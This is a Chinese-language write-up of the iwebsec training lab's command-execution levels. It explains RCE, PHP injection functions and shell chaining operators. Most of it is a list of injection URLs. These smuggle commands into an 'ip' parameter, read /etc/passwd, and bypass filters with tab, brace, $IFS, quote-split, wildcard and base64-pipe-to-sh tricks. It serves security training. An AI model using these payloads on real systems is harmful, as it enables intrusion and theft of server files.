iwebsec靶场(命令执行)
一、什么是远程代码执行
-
产生原因:由于程序中预留了执行代码或者命令的接口,并且提供了给用户使用的界面,导致被黑客利用,控制服务器。
-
漏洞危害:
1、获取服务器权限
2、获取敏感数据文件
3、写入恶意文件getshell
4、植入木马病毒勒索软件等
二、PHP-RCE涉及函数
1.代码注入
函数 | 作用 |
---|---|
eval() | 把字符串 code 作为PHP代码执行 |
assert() | 检查一个断言是否为 false |
preg_replace() | 执行一个正则表达式的搜索和替换 |
create_function() | 创建一个匿名函数并且返回函数名创 |
call_user_func()/call_user_func_array() | 把第一个参数作为回调函数调用 |
usort()/uasort() | 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 |
2.命令注入
函数 | 作用 |
---|---|
system() | 执行外部程序,并且显示输出 |
exec()/shell_exec() | 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 |
pcntl_exec() | 在当前进程空间执行指定程序 |
passthru() | 执行外部程序并且显示原始输出 |
popen() | 打开进程文件指针 |
proc_open() | 执行一个命令,并且打开用来输入/输出的文件 指针 |
三、命令拼接符
1.Windows命令拼接符
符号 | 作用 | 示例 |
---|---|---|
&& | 左边的命令执行成功,右边的才执行 | ping 127.0.0.1 && echo “hello” |
& | 简单的拼接 | ping 1111& echo"hello" |
| | 上一条命令的输出,作为下一条命令参数 | netstat -ano|findstr 3306 |
|| | 左边的命令执行失败,右边的才执行 | ping baidu.com||ping baidu.net |
2.Linux命令拼接符
符号 | 作用 | 示例 |
---|---|---|
; | 没有任何逻辑关系的拼接符 | ping baidu.com;echo “hello” |
&& | 左边的命令执行成功,右边的才执行 | cp 1.txt 2.txt && cat 2.txt |
| | 上一条命令的输出,作为下一条命令的参数 | netstat -an|grep 3306 |
|| | 左边的命令执行失败,右边的才执行 | cat 3.txt||cat 2.txt |
& | 任务后台执行,与nohup命令功能差不多 | java -jar test.jar > log.txt & |
四、靶场地址:http://iwebsec.com/
五、命令执行漏洞
1.执行系统命令
/exec/01.php?ip=127.0.0.1;ls
可以将;换成|
2.查看系统文件
/exec/01.php?ip=127.0.0.1;cat%20/etc/passwd
六、命令执行漏洞空格绕过
1.执行不需要空格的命令
/exec/02.php?ip=127.0.0.1;ifconfig
2.使用%09
-
%09是TAB键的url编码
/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd
3.使用<
-
<表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
/exec/02.php?ip=127.0.0.1;cat</etc/passwd
4.使用{},
-
{}内是整体的命令,逗号就是空格的作用
/exec/02.php?ip=127.0.0.1;{cat,/etc/passwd}
5.使用$IFS$9
-
在bash下,可以用$IFS$9代替空格
/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd
七、命令执行漏洞关键命令绕过
1.常规绕过
-
使用常规而且未被过滤的命令
/exec/03.php?ip=127.0.0.1;less%20/etc/passwd
2.使用符号及拼接
-
使用不同符号拼接成完整的命令
/exec/03.php?ip=127.0.0.1;ca%27%27t%20/etc/passwd
八、命令执行漏洞通配符绕过
-
使用通配符*替代某些字符
/exec/04.php?ip=127.0.0.1;cat%20/et*/passw*
九、命令执行漏洞base64编码绕过
-
将命令进行base64编码
/exec/05.php?ip=127.0.0.1;echo%20Y2F0IC9ldGMvcGFzc3dk|base64%20-d|sh